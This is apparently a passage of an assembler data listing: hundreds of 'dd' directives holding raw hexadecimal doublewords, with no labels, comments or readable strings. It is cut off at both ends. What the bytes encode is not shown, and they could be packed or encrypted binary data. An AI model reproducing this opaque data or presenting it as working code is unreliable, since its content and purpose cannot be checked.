0A439FF0Dh, 11070502h, 0D03ACh, 5075C07h, 56075913h dd 481F7D05h, 35939FFh, 0EC88FFh, 0AED1FF03h, 0FA939FFh dd 3A21FF02h, 0FF02422Fh, 1703CF21h, 72FF2705h, 0FF210603h dd 0CB1BD1C5h, 0FFF60700h, 0FF1F1880h, 39FFAED1h, 10020F90h dd 5020410h, 6037427h, 0FF482A21h, 18FFCB39h, 422F1FD1h dd 0D239FF02h, 27051703h, 20A037Bh, 4605070Ch, 865C4FFh dd 783AD5Bh, 72EDAFFh, 0E0341F05h, 18D1FF08h, 39FF0354h dd 0D119FF30h, 41A8F17h, 0D4D9FF02h, 4C6E031Ah, 0D9FF02A0h dd 0B031AD4h, 15030906h, 0D9FF1708h, 0B031AD4h, 21060906h dd 0BE2F0783h, 2B838FFh, 0A0D1A8Fh, 0FF001001h, 0FF8431C4h dd 1D5CDDh, 88FF0B00h, 1D91h, 6B26h, 21060906h, 70920705h dd 0FF00006Bh, 6265E388h, 10010A29h, 0B9920700h, 0C210609h dd 92070C21h, 7E01FFh, 65E388FFh, 0A030CFFh, 67021001h dd 200120CEh, 0FF115D2Dh, 1400037Fh, 20F1520h, 5D2D2067h dd 0B9C7FFh, 1839FF00h, 1FD118FFh, 205AF6FFh, 10FF100Ah dd 0FF1708A5h, 31AD4D9h, 2200E0Bh, 1AD4D9FFh, 250E0B03h dd 0FF29089Ah dd 2C2E39h, 431AA00h, 0FF011A19h, 3F39h, 2539FF0Dh, 39FF1E06h dd 4800003Fh, 0E6FFh, 61920700h, 0FF007FFFh, 479D6188h dd 0D1044h, 0ED057F07h, 906038Ch, 35139FFh, 28FF0597h dd 88FF002Ch, 11FF6DDEh, 8DFFFD54h, 45002Ch, 9060B00h dd 57007905h, 9BD8EFC4h, 3FA1107h, 0CE39FF29h, 54E038Ch dd 57FF1107h, 56072503h, 2439FF05h, 0FF1B0E03h, 0C2072EC4h dd 1F7D1611h, 7D050251h, 7D16111Fh, 3107251Fh, 59137D05h dd 0FF075907h, 725B9C1h, 3AFF3A05h, 600003Eh, 53100409h dd 5D2D7801h, 0D0FF6B2Fh, 0D0DDFF38h, 0C7020403h, 7B4132Dh dd 91DDFF8Eh, 1839FFh, 0FF0E0000h, 0EB65E3D1h, 2DC71703h dd 0FFBE2F5Dh, 4030438h, 172D9302h, 0D8FF2DC7h, 0A410FFEAh dd 46Eh, 0C7170E00h, 0EEFF132Dh, 5AC7FF07h, 91D9FF02h dd 170E0000h, 0FF132DC7h, 2D6607F2h, 0DAFF4C13h, 132D935Ah dd 132D93B9h, 6207F2FFh, 1991DDFFh, 3AFF0E0Bh, 0B4132D9Ah dd 6EFFF07h, 42F2E52h, 2040502h, 0FF91DDFFh, 94D2h, 0C4FF600Eh dd 5024A5Ah, 193AFF78h, 0FF479DBEh, 1535A80h, 2F5D2D78h dd 38D0FF6Bh, 403B0FFh, 132DC702h, 0FF8E07B4h, 39FF91DDh dd 18h, 0E3D1FF0Eh, 0C7025565h, 0BE2F5D2Dh, 16FB38FFh dd 172D9317h, 0D8FF2DC7h, 0A410FFEAh, 46Eh, 93170E00h dd 6908132Dh, 935ADAFFh, 8BFF132Dh, 0FF0653AFh, 2D93B029h dd 0FFABFF13h, 204E4AEh, 0FF132D93h, 1204F1CEh, 0D8FF2DC7h dd 0A410FFEAh, 0FE6Eh, 2DC7170Eh, 7EEFF13h, 25AC7FFh, 91D9FFh dd 0C7170E00h, 0F2FF132Dh, 132D6607h, 5ADAFF4Ch, 0B9132D93h dd 0FF132D93h, 0FF6207F2h, 0B1991DDh, 9A3AFF0Eh, 7B4132Dh dd 5206EFFFh, 2042F2Eh, 0FF020405h, 0D2FF91DDh, 0E000094h dd 5AC4FF60h, 7805024Ah, 0BE193AFFh, 80FF479Dh, 21060380h dd 0FF11079Bh, 29FF89D0h, 2F2E03D0h, 2B50204h, 0DDFF02F3h dd 7EDEFFAEh, 100505A6h, 21686FFh, 13520605h, 6FD1FF0Ch dd 392208EEh, 4A020439h, 0DE31FF02h, 0B44C132Dh, 31FF0204h dd 24A0291h, 2DDE31FFh, 24A3B13h, 2DDE31FFh, 0A489FF13h dd 31FF020Fh, 715A072Eh, 1FD113FFh, 5831FF02h, 2041010h dd 3CF0A10h, 10024A17h, 37339FFh, 29FFAD4Eh, 0C0FF69E1h dd 4CADB952h, 3A21FF02h, 0FF2106FBh, 29FFB029h, 410241B7h dd 2 dup(20410204h), 415AD8FFh, 3A21FF02h, 851A04FFh, 0FF02042Bh dd 1002FA09h, 6F39FFh, 5020E00h, 0C0C1204h, 0C020400h dd 0F569FF47h, 5A86FF20h, 81FF4C23h, 7000092h, 1D7Fh, 21010E0Bh dd 0B00001Dh, 21010Eh, 0A150000h, 60B4402h, 4031609h, 3F01h dd 8FA112Bh, 0A363337h, 8D01h, 1A2A40Bh, 2B00003Fh, 3708FA11h dd 2043633h, 10A3B23h, 0FF010A10h, 28002FC1h, 0FF2F39FFh dd 906006Ah, 4500001Dh, 204031Fh, 0AA031823h, 3A081823h dd 3FDD2FFh, 3F170Eh, 0FF112B00h, 3337084Fh, 10A0D36h dd 0C4FF0010h, 0C4FF8409h, 0AF11FF35h, 450049h, 9060B00h dd 3F010403h, 112B0000h, 37084FFFh, 2043633h, 18001823h dd 0B00001Dh, 4030906h, 3F01h, 4FFF112Bh, 36333708h, 0FF1716D2h dd 3B06F1CEh, 3D0D9FFh, 0FF02040Dh, 1800F1CEh, 60B0024h dd 0B002409h, 0CA4Eh, 0CA1E06h, 0AFD2FF00h, 0CA1708h, 11320A00h dd 0E0B0024h, 0CA0104h, 52743000h, 24220000h, 24970B00h dd 0CA4E0B00h, 1040000h, 0B80000CAh, 0CA0A0415h, 0FF2B0000h dd 16305019h, 3A7D1FFh, 0CA1400h, 0D010A00h, 0B22939FFh dd 0E03h, 0FF0D010Ah, 3FBC539h, 0Eh, 0CA14h, 39FF010Ah dd 28000029h, 0FF3939FFh, 90603EFh, 450034h, 9060B00h dd 3F010403h, 112B0000h, 37084FFFh, 33FF3633h, 20403D1h dd 6F1CEFFh, 0D101FF3Bh, 0FF020403h, 1904F1CEh, 0A3132D1Ah dd 354DEFFh, 0CEFF0204h, 1A1904F1h, 7B32A50Bh, 0FF020403h dd 1904F1CEh, 204E0B1Ah, 4152001h, 19FF200Ah, 0FF163050h dd 0A03A7D1h, 8201h, 0E0B196Eh, 14000000h, 2931FFh, 82010A00h dd 0E0B0000h, 14000000h, 2931FFh, 82010A00h, 0E0B0000h dd 74300000h, 22000082h, 4500002Ch, 60B0000h, 1040309h dd 2B00003Fh, 84FFF11h, 4363337h, 1D182302h, 0E0B0000h dd 3F17h, 4FFF112Bh, 36333708h, 8D010Ah, 0B9A40B00h, 3F01h dd 4FFF112Bh, 36333708h, 803909h, 2001D700h, 4FFF4603h dd 802208h, 7422FF00h, 1E052D11h, 2C3Dh, 17422FFh, 8063h dd 80970Bh, 80634500h, 8450000h, 5CF6FF5Dh, 0B000080h dd 0FF5288FFh, 27D9h, 8048h, 0F9C4FF00h, 0A03D218h, 806301h dd 2C970B00h, 970B0000h, 15280094h, 2C3D01h, 2600h, 18DDC4FFh dd 5CF6FF1Bh, 0B00002Ch, 0FF5288FFh, 27D9h, 8048h, 0F9C4FF00h dd 0A03D218h, 2C3D01h, 14B60B00h, 27D9FFh, 0C4FF0000h dd 88FF18F9h, 84CFF6Fh, 0FF009422h, 0FF017422h, 0B002439h dd 7C5188FFh, 0D7000080h, 2C3801h, 2E032A00h, 2C3888h dd 10F3D00h, 2C38h, 2C381E06h, 9C7A0000h, 0FF13037Eh, 0D7002431h dd 2E034101h, 10F4188h, 69411E41h, 0FF01045Eh, 0FF002431h dd 41313110h, 0DCFF9C6Dh, 0FF000041h, 10F10D2h, 2431FFh dd 31FF0104h, 15B80024h, 32410A04h, 41DCFFh, 0FF010400h dd 0B8002431h, 0FFCF0F15h, 0FF002431h, 38014F3Ah, 400002Ch dd 2431FF0Ah, 0FF9C7600h, 9439DCh, 80119C27h, 38FF0000h dd 39FF0183h, 0FF0B0024h, 2C025188h, 0D1FF0000h, 0EEFF0117h dd 0FF00002Ch, 0FF0176FCh, 2CEEh, 1B90127h, 3501B9h, 35017600h dd 1270000h, 2CFCFFh, 801500h, 39FF2800h, 136AFFCEh, 80BBDDFFh dd 0FF280000h, 6AFFD639h, 0BBDDFF13h, 28000080h, 0FF3E39FFh dd 906D16Bh, 2800FD01h, 0FF0639FFh, 906D16Bh, 0F1CEFF01h dd 28000080h, 36E39FFh, 2C0906h, 4500h, 309060Bh, 3F0104h dd 0FF112B00h, 3337084Ch, 0FF028C36h, 0FF53D029h, 1D600136h dd 0F40B0000h, 22DE0FFh, 1D6094h, 0D2F40B00h, 8D010Ah dd 1D970B00h, 0A40B0000h, 0D1C6FF80h, 3F0104h, 0FF112B00h dd 3337084Ch, 8D010A36h, 0A40B0000h, 0C6FF1EFFh, 3F0104D1h dd 112B0000h, 37084CFFh, 3AFF3633h, 0FF1503D1h, 9422084Ch dd 7422FF00h, 84CFF32h, 39009422h, 0FF012D39h, 4002419h dd 0FFC9DCFFh, 0FF2B900Ah, 36332610h, 1E060000h, 2401FFh dd 4348h, 23018A3Bh, 10D0000h, 0F000023h, 2409FF01h, 0FF1E0600h dd 48002401h, 3D000043h, 2E084CFFh, 432A018Ah, 0C1FF0000h dd 432A014Ch, 10F0000h, 740151h, 14B60B00h, 9FF1451h, 70FF0024h dd 0F4D1FFBDh, 0FF030000h, 0FF08DE81h, 300F4D1h, 2800007Dh dd 0FFDC39FFh, 90603F2h, 0A40B0094h, 3C71AFFh, 3F0104h dd 0FF112B00h, 3337084Ch, 23020436h, 2 dup(180018h), 1D18h dd 309060Bh, 3F0104h, 43112B00h, 36333708h, 0CEFF0204h dd 11FF06F1h, 0FF286ED5h, 314F139h, 4030906h, 3F01h, 843112Bh dd 4363337h, 3F01h, 843112Bh, 4363337h, 0F1CEFF02h, 0A4031800h dd 0D1C7FFDFh, 2B00001Dh, 37084311h, 2043633h dd 18001823h, 0B00001Dh, 4030906h, 3F01h, 843112Bh, 4363337h dd 0F1CEFF02h, 18001800h, 0B00001Dh, 4030906h, 3F01h, 843112Bh dd 4363337h, 182302h, 1D180018h, 60B0000h, 1040309h, 2B00003Fh dd 37084311h, 2043633h, 0F1CEFFh, 1D180018h, 60B0000h dd 1040309h, 2B00003Fh, 37084311h, 2043633h, 6F1CEFFh dd 0C438FF3Bh, 17D1C4FFh, 0F1CEFFh, 22FFF718h, 0FF02048Ah dd 1800F1CEh, 8A30FFF7h, 13D38FFh, 2B00003Fh, 37084311h dd 2043633h, 0F1CEFFh, 0A4000018h, 0D1C5FF8Ch, 3F17h, 843112Bh dd 15363337h, 1D1800h, 9060B00h, 3F010403h, 112B0000h dd 33370843h, 18001536h, 0B00001Dh, 4030906h, 3F01h, 843112Bh dd 0A363337h, 8D01h, 0FFA3A40Bh, 3F17D1C5h, 112B0000h dd 33370843h, 0A0D0D36h, 8D01h, 309060Bh, 3F0104h, 43112B00h dd 36333708h, 0CEFF0204h, 1D1800F1h, 0E0B0000h, 3F17h dd 843112Bh, 4363337h, 3F01h, 843112Bh, 4363337h, 3F01h dd 843112Bh, 4363337h, 182302h, 180018h, 1D180018h, 60B0000h dd 1040309h, 2B00003Fh, 37084311h, 10A3633h, 0B00008Dh dd 4623CA4h, 3F01h, 8D0112Bh, 4363337h, 0F1CEFF02h, 2043B06h dd 0F1CEFFh, 11A50318h, 29C2C0FFh, 0CEFF0204h, 81800F1h dd 0FF09193Ah, 0C0FF3ADDh, 3CC1FFB9h, 14C139FFh, 3F170E03h dd 112B0000h, 333708D0h, 23020436h, 2 dup(180018h), 1D18h dd 309060Bh, 3F0104h, 0D0112B00h, 36333708h, 3D0D1FFh dd 0CEFF0204h, 0FF3B06F1h, 0FF02A238h, 1800F1CEh, 88FF03h dd 1F8131FFh, 1E060000h, 4B0039A1h, 0F1CEFF17h, 89031800h dd 2040000h, 0F1CEFFh, 9060318h, 0A0D0039h, 8D01h, 3909060Bh dd 0EF39FF00h, 0AF50368h, 8101h, 815B0E0Bh, 39060000h dd 2E0034FFh, 34FF4388h, 10F1900h, 34FF43h, 0FF431E44h dd 16810034h, 0A0DE321h, 394301h, 3639FF28h, 0DDFF1335h dd 391BFF3Ah, 0FF6222FFh, 8101FAD1h, 450000h, 9060B00h dd 3F010403h, 112B0000h, 333708D0h, 0FF020436h, 3B06F1CEh dd 28F38FFh, 0F1CEFFh, 1F890318h, 1E060000h, 4B00397Eh dd 397E1425h, 0FF020400h, 1800F1CEh, 0E03h, 163830h, 397E14h dd 8D010A0Dh, 60B0000h, 0FF003909h, 62FFFE39h, 3F171FD1h dd 112B0000h, 333708D0h, 23020436h, 0A0D0D3Bh, 8D01h, 209060Bh dd 3A081823h, 63FF1FFFh, 4031FD1h, 3F01h, 8D0112Bh, 4363337h dd 182302h, 0A8FFA400h, 3F010403h, 112B0000h, 333708D0h dd 23020436h, 1D18h, 3F170E0Bh, 112B0000h, 333708D0h, 23020436h dd 0A4000018h, 104987Ch, 2B00003Fh, 3708D011h, 2043633h dd 0F1CEFFh, 1D18h, 3F170E0Bh, 112B0000h, 333708D0h, 23020436h dd 1D18h, 3F170E0Bh, 112B0000h, 333708D0h, 23020436h, 180018h dd 1D180018h, 60B0000h, 1040309h, 2B00003Fh, 3708D011h dd 2043633h, 18001823h, 0B00001Dh, 4030906h, 3F01h, 8DD112Bh dd 0D363337h, 3939FF0Dh, 0FE1F23h, 0E3BA089Ah, 17D1DEFFh dd 2B00003Fh, 3708DD11h, 2043633h, 38FF3B23h, 0D1DFFF2Bh dd 8182317h, 60FFDF3Ah, 43B0E03h, 0A6192302h, 4DC5FFh dd 42DB3AFFh, 4DC5FF01h, 2508C500h, 4DC5FF14h, 39FF0D00h dd 0E036B0Eh, 39FF0D29h, 403098Bh, 3F01h, 8DD112Bh, 4363337h dd 0FF3B2302h, 2302A738h, 2302043Bh, 0C1FFA619h, 0DB3AFF4Dh dd 0C1FF0142h, 2508C54Dh, 4DC1FF14h, 18230204h, 29FF3A08h dd 90603CAh, 3F010403h, 112B0000h, 333708DDh, 23020436h dd 0C538FF3Bh, 17D1DFFFh, 3A081823h, 170EFD1Eh, 2B00003Fh dd 3708DD11h, 2043633h, 38FF3B23h, 0D1DCFF0Bh, 3182317h dd 39E24Eh, 39E21E44h, 0F611FF00h, 0FFD1D8FFh, 66FF11AFh dd 1425D1DCh, 39E2h, 0FFBA089Ah, 1040377h, 2B00003Fh, 3708DD11h dd 2043633h, 2043B23h, 6F1CEFFh, 0AB38FF3Bh, 0F1CEFF02h dd 18001800h, 3F170E03h, 112B0000h, 333708DDh, 23020436h dd 0FF02043Bh, 3B06F1CEh, 0FFE738FFh, 0FF17D1DCh, 1800F1CEh dd 0E031800h, 3F17h, 8DD112Bh, 4363337h, 0F1CEFF02h, 38FF3B06h dd 0FF179B2Ah, 1800F1CEh, 3BFFA403h, 10403DDh, 2B00003Fh dd 3708DD11h, 2043633h, 0A3063B23h, 80ED9FFh, 0DDFF1B03h dd 0DDFF0116h, 8A3B004Dh, 4DDDFF01h, 8DD1B00h, 0DDFF1425h dd 0A0D004Dh, 8D01h, 309060Bh, 2302040Dh, 420E0318h, 0FF086A11h dd 2E03D0D1h, 0FF7C062Fh, 3080ED9h, 1B138FFh, 2B00003Fh dd 3708DD11h, 10A3633h, 0B00008Dh, 3F01B9A4h, 112B0000h dd 333708DDh, 23020436h, 0C738FF3Bh, 0CEFF179Bh, 81800F1h dd 0FF6EFF3Ah, 0E03C8CEh, 3F17h, 8DD112Bh, 4363337h, 3F01h dd 8DD112Bh, 4363337h, 3F01h, 8DD112Bh, 0D363337h, 0FFBE39FFh dd 4036138h, 3F01h, 8DD112Bh, 0D363337h, 749C010Ah, 0FF006F00h dd 460841C4h, 45007422h, 0FFA001FFh, 11FCF1CEh, 3DA8DFFh dd 0DA39FF0Dh, 3C8CEFFh, 18BB88FFh, 2B00003Fh, 3708DD11h dd 2043633h, 38FF3B23h, 0D1DAFFF7h, 1A192317h, 1A197D6Dh dd 1D227D6Dh, 60B0000h, 1040309h, 2B00003Fh, 3708B811h dd 39FF3633h, 2E62FFC4h, 0B38FF00h, 17D1DBFFh, 2B00003Fh dd 3708B811h, 1043633h, 2B00003Fh, 3708B811h, 2043633h dd 0F1CEFFh, 1D18h, 3F170E0Bh, 112B0000h, 333708B8h, 0FF020436h dd 1800F1CEh, 0B00001Dh, 3F170Eh, 0B8112B00h, 36333708h dd 3F0104h, 0B8112B00h, 36333708h, 3F39FF0Dh, 0AAD1C6FFh dd 18001823h, 6031800h, 1040309h, 2B00003Fh, 3708B811h dd 12FF3633h, 20403D0h, 2043B23h, 6A1A1923h, 742208h, 0C4FF1A6Fh dd 3E01E585h, 742701h, 7432010Fh, 321E0600h, 327A0074h dd 169ACEFFh, 10A2946h, 6E008130h, 741800h, 86A1800h, 311015Dh dd 74320104h, 43B0600h, 1A192302h, 0DFFF5D2Dh, 1A19235Ah dd 4DD9FF01h, 0DB3AFF00h, 0D9FF0142h, 10D004Dh, 26008130h dd 10A0D00h, 0B00008Dh, 4030906h, 743201h, 2043B06h, 2D1A1923h dd 5ADFFF5Dh, 11A1923h, 0FF00001Ah, 142DB3Ah, 0D00001Ah dd 813001h, 0A0D0026h, 8D01h, 209060Bh, 2D1A1923h, 5ADFFF5Dh dd 11A1923h, 4DD1FFh, 42DB3AFFh, 4DD1FF01h, 30010D00h dd 6E0081h, 4318h, 8D010A0Dh, 60B0000h, 9A000309h, 74321708h dd 23190400h, 743201h, 7938FFh, 27140000h, 0FF000074h dd 4D28DC4h, 8182302h, 1D22h, 309060Bh, 3F0104h, 0A1112B00h dd 36333708h, 3D133FFh, 3B230204h, 19230204h, 22086A1Ah dd 1A6F0081h, 0E585C4FFh, 4603ED01h, 3B010A29h, 81690104h dd 81180000h, 6A180000h, 86FF5D08h, 8169142Eh, 0C4FF0000h dd 1923028Dh, 0FF5D2D1Ah, 19235ADFh, 8A05011Ah, 8B80501h dd 4322h, 0A0D0026h, 8D01h, 309060Bh, 81691400h, 0C4FF0000h dd 1823028Dh, 1D2208h, 9060B00h, 3F010403h, 112B0000h dd 333708A1h, 17160A36h, 2043B23h, 0FF031823h, 0DBFF5288h dd 20403A6h, 4E031823h, 431Bh, 23170815h, 9060318h, 0F1CEFF01h dd 19231716h, 431B0A1Ah, 3C760000h, 2726D9FFh, 23020D01h dd 1B0A1A19h, 76000043h, 29D9FF3Ch, 39B30127h, 17000043h dd 0A1A1923h, 431Bh, 0D9FF3C76h, 0DE012728h, 1A192302h dd 431B0Ah, 0FF3C7600h, 1272BD9h, 4339A0h, 19231700h, 431B0A1Ah dd 3C760000h, 2DD9FFh, 23020400h, 1B0A1A19h, 76000043h dd 2CD9FF3Ch, 39BEFF01h, 17000043h, 0A1A1923h, 431Bh, 0D9FF3C76h dd 8401272Fh, 1A192302h, 431B0Ah, 5C3C7600h, 393E0127h dd 22000043h, 0B000043h, 3 dup(0B000089h), 22081889h, 0B00001Dh dd 23020906h, 1D220818h, 60B0000h, 1040309h, 2B00003Fh dd 3708A111h, 16E33633h, 6C014F3Ah, 39060000h, 0F7000043h dd 46000082h, 435E01h, 9060B00h, 435Eh, 4639FF58h, 6C012B03h dd 0FFA30000h, 0FF03D239h, 290352DEh, 3E0E0315h, 439FFF01h dd 0FF150000h, 0E000034h, 0FF150000h, 0C4FF2ED3h, 433D3EC9h dd 43150000h, 260000h, 25C4FF00h, 4346h, 0FF000026h, 3D3EDDC4h dd 43h, 3EE1C4FFh, 4D8DFFh, 0FA11FF06h, 8DFF010Fh, 38FF004Dh dd 8DFF1E8Eh, 0D1FF004Dh, 0FF7703D5h, 8DFF5ADFh, 10F004Dh dd 4A29FFh, 42DB3AFFh, 4A29FF01h, 0D5D1FF00h, 0FF010403h dd 0FF004A29h, 0DBFF3910h, 1D2281h, 9060B00h, 3F010403h dd 112B0000h, 333708A1h, 3F010436h, 112B0000h, 333708A1h dd 150D0D36h, 1D2208h, 9060B00h, 3F010403h, 112B0000h dd 333708DCh, 23020436h, 180018h, 1D18h, 309060Bh, 3F0104h dd 0DC112B00h, 36333708h, 3F0104h, 0DC112B00h, 36333708h dd 8D010Ah, 43A40B00h, 3F17B1h, 0DC112B00h, 36333708h dd 3F0104h, 0DC112B00h, 36333708h, 8D010Ah, 82A40B00h dd 3F010403h, 112B0000h, 333708DCh, 3A081536h, 5138FFh dd 0Eh, 433C14h, 10A0D00h, 0B00008Dh, 430906h, 14254B00h dd 433Ch, 7C39FFh, 17581DA4h, 2B00003Fh, 3708DC11h, 10A3633h dd 0B00008Dh, 5806FFA4h, 3F17h, 8DC112Bh, 4363337h, 3F01h dd 8DC112Bh, 0FF363337h, 231758FCh, 2302043Bh, 0C4E0318h dd 0D039062Fh, 0C170000h, 4F706601h, 43F1CEFFh, 1040000h dd 43F1CEFFh, 0A2350000h, 5820FF2Ch, 4363h, 0CEFF0104h dd 43F1h, 0E72CA235h, 0FF2CA235h, 43645820h, 1040000h dd 43F1CEFFh, 0A2350000h, 0A235E72Ch, 1535E72Ch, 4371010Fh dd 1040000h, 4363h, 3750055h, 0FF2F39FFh, 0F002E1Ah, 431901h dd 19010400h, 35000043h, 20FF2CA2h, 5058h, 43190104h, 0A2350000h dd 0A235E72Ch, 5820FF2Ch, 4338h, 43190104h, 0A2350000h dd 0A235E72Ch, 1535E72Ch, 4C010Fh, 4C1E0600h, 0B70000h dd 2E08C500h, 21FF018Ah, 1E0C004Ah, 4338h, 0C50000B7h dd 18A2E08h, 1308ED10h, 0B7000050h, 8C50000h, 0FF018A2Eh dd 0C004A39h, 43711Eh, 0B700h, 8A2E08C5h, 8ED2001h, 436413h dd 0B700h, 8A2E08C5h, 4A31FF01h, 631E0C00h, 0B7000043h dd 8C50000h, 41018A2Eh, 142508EDh, 4A21FFh, 4C1400h, 10140000h dd 433814h, 0FF140000h, 4A39h, 5014h, 14201400h, 4371h dd 31FF1400h, 1400004Ah, 4364h, 14411400h, 4363h, 8D010A0Dh dd 60B0000h, 3F0109h, 0DC112B00h, 36333708h, 2 dup(3B230204h) dd 0EE823AFFh, 18231708h, 0DF090603h, 18230204h, 83FF3A08h dd 23170E73h, 40E0318h, 8182302h, 73FFB43Ah, 653541Fh dd 7F129FFh, 5D2D9362h, 0FF5AD8FFh, 33FF91D9h, 8CD9FF5Ah dd 7000D10h, 0B00247Fh, 39FF0906h, 1F70FF39h, 450000h dd 9060B00h, 3906001Ch, 513001Ch, 0AEFF4007h, 2D050104h dd 0F1CEFF13h, 0DEFF401Bh, 10F055Ah, 2E30FF05h, 84010514h dd 10A0D0Dh, 0B0000E1h, 1D0906h, 1C970B00h, 66FF4500h dd 906002Eh, 104001Ch, 7705010Ch, 0 dd 0EA084F14h, 0EFC45700h, 0A71316D8h, 5ADAFF1Bh, 63132D93h dd 0FF352F1Bh, 0FF02B538h, 0FA6B91D9h, 5A072508h, 70FF9BFFh dd 0AC21061Fh, 0FF352F07h, 171AEF38h, 2FA21FFh, 0FF91D9FFh dd 1DA7D1h, 2E163000h, 0FA21FF88h, 91D9FF02h, 14000000h dd 2FC5FFh, 7F070000h, 0B00001Dh, 0D0FF0906h, 1D5Ch, 4509060Bh dd 60B0000h, 13520609h, 0D266FF05h, 0FF0517D1h, 401BF129h dd 55AD8FFh, 0A3B3AFFh, 1D2A01h, 10A2800h, 7000D66h, 0C5FF1305h dd 0A5D2FF52h, 22B1AAFFh, 0B00001Dh, 8D4Eh, 1D2A010Ah dd 4E0B0000h, 600003Fh, 8D1Eh, 0D9FF017Ah, 0A0D03D0h, 39FF6601h dd 0BD0E032Ch, 10A0D03h, 3339FF66h, 0FF1F72FFh, 39FFC8CEh dd 42D6h, 0FF2CA235h, 8D5820h, 6C38FF00h, 66010A29h, 36339FFh dd 8D01420Eh, 66FF0000h, 0DCBAD1D2h, 10A2903h, 5D39FF66h dd 39FF0E03h, 0F00004Ah, 8D01h, 22A23AFFh, 0B00001Dh, 0A139FF0Eh dd 8D01h, 229E3AFFh, 0B00001Dh, 0EF39FF0Eh, 0F000077h dd 8D01h, 0DFA3AFFh, 0FF66010Ah, 72FFF139h, 39DCFF1Fh dd 0FC76h, 8D010Fh, 0FF35D600h, 3F1E9138h, 17A0000h, 3D0D9FFh dd 2A010A0Dh, 0B00001Dh, 0D03BD0Eh, 1D2A010Ah, 0E0B0000h dd 0FF2339FFh, 0A2350014h, 5820FF2Ch, 0FF00003Fh, 0A296C38h dd 1D2A01h, 420E0B00h, 3F01h, 0D1D266FFh, 2903DCBAh, 1D2A010Ah dd 0E0B0000h, 5739FFh, 3F010F00h, 3AFF0000h, 1D22A2h, 0FF0E0B00h dd 3F018A39h, 3AFF0000h, 1D229Eh, 0FF0E0B00h, 7F839h, 3F010F00h dd 3AFF0000h, 10A0DFAh, 1D2Ah, 39FF0E0Bh, 3FA4h, 38FF35D6h dd 0A2916FAh, 8201h, 1040E0Bh, 5500008Dh, 352F1B00h, 0A2903D5h dd 8201h, 1040E0Bh, 5500008Dh, 352F0700h, 30238FFh, 82010A29h dd 0E0B0000h, 8D0104h, 0FC005500h, 38FF352Fh, 0A0D0376h dd 8201h, 1040E0Bh, 5500008Dh, 0AFFF7500h, 82010A0Dh, 0E0B0000h dd 8D0104h, 3E005500h, 0AB984FFh, 8201h, 1040E0Bh, 5500008Dh dd 851A7700h, 0FF020A71h, 468129h, 4090600h, 0EFFF0C02h dd 9121FF05h, 88FF0000h, 72075418h, 0AD020FA0h, 0FF400783h dd 39FFB98Bh, 5020FA2h, 0D3C4007h, 55F0700h, 9B239FFh dd 7D050204h, 0FA680E00h, 0FF0D4608h, 5539h, 10040906h dd 0FF8CD1FFh, 0D485280h, 0D02239FFh, 0FF1B0E03h, 0DDFF2EC0h dd 0F39FFB9h, 0FA0E03D0h, 39FF2908h, 0E03D01Ah, 2EC0FF1Bh dd 6DB9C1FFh, 6A0E03D0h, 39FF2908h, 130E0372h, 4050205h dd 69FF0502h, 0FF401BC9h, 0B0FF3939h, 72C3503h, 29FF0205h dd 0AFF2ABAh, 0FF3A0890h, 0DE1F4A8Ah, 0FF290823h, 0FFAA9239h dd 0CEFFBA29h, 900AFFF1h, 29FF0204h, 0F1CEFFBAh, 8900AFFh dd 0E03233Ah, 1FD3063Ah, 0FF0D3B3Ah, 5854BC39h, 86D1FFh dd 20A2800h, 9060B30h, 83639FFh, 0B9F6FF5Dh, 0DAE39FFh dd 0EE39FF0Dh, 3A0E0370h, 3E4C4FFh, 0A75288FFh, 2D7A03DAh dd 5D087311h, 0AB9C4FFh, 1D6901h, 690E0B00h, 4500001Dh dd 20FF2A1Fh, 0B9C4FF90h, 0FF05010Ah, 62F49939h, 39FF0D05h dd 0E03DDE2h, 0A280000h, 1D6901h, 0FF0D2800h, 6034D39h dd 0FF327A09h, 603D3F6h, 0C91BA721h, 8732A53h, 0B9C7FF5Dh dd 0A4BEFF3Ah, 39FF03F9h, 2E10FFEDh, 2CA23500h, 3B5820FFh dd 753B1Eh, 32E50100h, 0ED3A16ABh, 0A0000A1h, 1C6801h dd 0FA62A50Bh, 1C2208h, 0A3000E0Bh, 3D5D1FFh, 39DCFF77h dd 9042h, 1C6B010Fh, 0DB3AFF00h, 1C6B0142h, 0D5D1FF00h dd 6B010403h, 10FF001Ch, 58DBFF39h, 2C09FFh, 4B39FFh, 1B010F00h dd 4200001Dh, 8FA4101h, 1B50D1FFh, 6100001Dh, 1CF858h dd 1D1B1E0Ch, 8A0C0000h, 8FA4101h, 1425113h, 2C31FFh, 0A46037Eh dd 1C8201Eh, 2C31FFh, 7201326h, 2C39FF62h, 0B700h, 69150316h dd 151FE0FFh, 1C0E03h, 11FF7E7Ah, 0FC11FF99h, 2653h, 2C09FF14h dd 1D1500h, 68011500h, 306F001Ch, 0FF09060Bh, 0FB1B0DD9h dd 39FF0D0Dh, 39FFF580h, 411F35D7h, 4127231Bh, 0B43A0861h dd 3A0E03A1h, 0FF1FBE6Ah, 0E0B900Ah, 0BE1239FFh, 7239FF1Fh dd 1F459703h, 0FF471F45h, 0C1FF2E80h, 5A07592Eh, 2E2A66FFh dd 0FF090600h, 903Bh, 21688FFh, 39FF0D05h, 39FF0DB2h, 8150D89h dd 0E139FF29h, 6000021h, 0FF290809h, 0E0FF3039h, 7FF3A1Fh dd 81FE0FFh, 0DCFF1B03h, 2D88FFBBh, 15E13AFFh, 0FE3Ah dd 9A000906h, 50D1FF08h, 0DAFF2105h, 55B055Ah, 0FF479D00h dd 0DCDBD969h, 0E9070003h, 29FF010Ah, 0B00003Eh, 20A0906h dd 58C1FFh, 0D1FF0507h, 22B03C1h, 328129FFh, 7311h, 2909060Bh dd 29FF010Ah, 0B00003Eh, 0B00000Eh, 26000089h, 0C8CEFF3Ah dd 0AEFFh, 10040906h, 46D9FF3Ah, 0AE90725h, 39FF0501h dd 9060343h, 0A000073h, 58C1FF02h, 0FF050700h, 2B03C1D1h dd 3E29FF01h, 0A6E0000h, 731132h, 9060B00h, 5010A29h, 978939FFh dd 0B000073h, 26000089h, 0AFFF013Ah, 9060000h, 1B3A1004h dd 20403EEh, 0A1302D93h, 15115D16h, 0C98F1752h, 0D0D1FF16h dd 0F1CEFF07h, 0C98F0204h, 0B000045h, 3AFF0906h, 0F069FFA7h dd 0F1CEFF07h, 0C98F0204h, 0B000045h, 3AFF0906h, 0F069FF9Bh dd 0F1CEFF07h, 0C98F0204h, 0B000045h, 3AFF0906h, 8F0204CFh dd 45C9h, 409060Bh, 16FA8F02h, 42B1B03h, 16C98F02h, 8F561BF9h dd 0D1FF16C9h, 816207D2h, 7322h, 5020E0Bh, 69DDFF07h, 0FF022B98h dd 